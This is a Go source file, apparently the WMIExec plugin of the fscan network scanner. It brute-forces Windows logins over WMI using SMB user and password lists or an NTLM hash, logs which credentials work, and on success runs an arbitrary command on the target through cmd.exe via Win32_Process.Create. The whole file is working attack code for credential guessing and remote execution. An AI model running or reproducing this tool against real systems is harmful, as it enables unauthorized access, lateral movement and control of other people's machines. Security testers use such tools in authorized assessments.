fscan/Plugins/WMIExec.go
2024-12-28 06:02:01 +08:00

146 lines
3.1 KiB
Go

package Plugins
import (
"fmt"
"github.com/go-ole/go-ole"
"github.com/go-ole/go-ole/oleutil"
"github.com/shadow1ng/fscan/Common"
"os"
"strings"
"time"
)
var (
ClientHost string
flag bool
)
func init() {
if flag {
return
}
clientHost, err := os.Hostname()
if err != nil {
fmt.Println(err)
}
ClientHost = clientHost
flag = true
}
func WmiExec(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return nil
}
starttime := time.Now().Unix()
for _, user := range Common.Userdict["smb"] {
PASS:
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := Wmiexec(info, user, pass, Common.HashValue)
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
Common.LogError(errlog)
if flag {
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
}
if Common.HashValue != "" {
result += "hash: " + Common.HashValue
} else {
result += pass
}
Common.LogSuccess(result)
return err
} else {
tmperr = err
if Common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
if len(Common.HashValue) == 32 {
break PASS
}
}
}
return tmperr
}
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command)
}
func WMIExec(target, username, password, hash, domain, command string) (flag bool, err error) {
err = ole.CoInitialize(0)
if err != nil {
return false, err
}
defer ole.CoUninitialize()
// 构建认证字符串
var auth string
if domain != "" {
auth = fmt.Sprintf("%s\\%s:%s", domain, username, password)
} else {
auth = fmt.Sprintf("%s:%s", username, password)
}
// 构建WMI连接字符串
connectStr := fmt.Sprintf("winmgmts://%s@%s/root/cimv2", auth, target)
unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator")
if err != nil {
return false, err
}
defer unknown.Release()
wmi, err := unknown.QueryInterface(ole.IID_IDispatch)
if err != nil {
return false, err
}
defer wmi.Release()
// 使用connectStr来建立连接
service, err := oleutil.CallMethod(wmi, "ConnectServer", "", connectStr)
if err != nil {
return false, err
}
defer service.Clear()
// 连接成功
flag = true
// 如果有命令则执行
if command != "" {
command = "C:\\Windows\\system32\\cmd.exe /c " + command
// 创建Win32_Process对象来执行命令
process, err := oleutil.CallMethod(service.ToIDispatch(), "Get", "Win32_Process")
if err != nil {
return flag, err
}
defer process.Clear()
// 执行命令
_, err = oleutil.CallMethod(process.ToIDispatch(), "Create", command)
if err != nil {
return flag, err
}
}
return flag, nil
}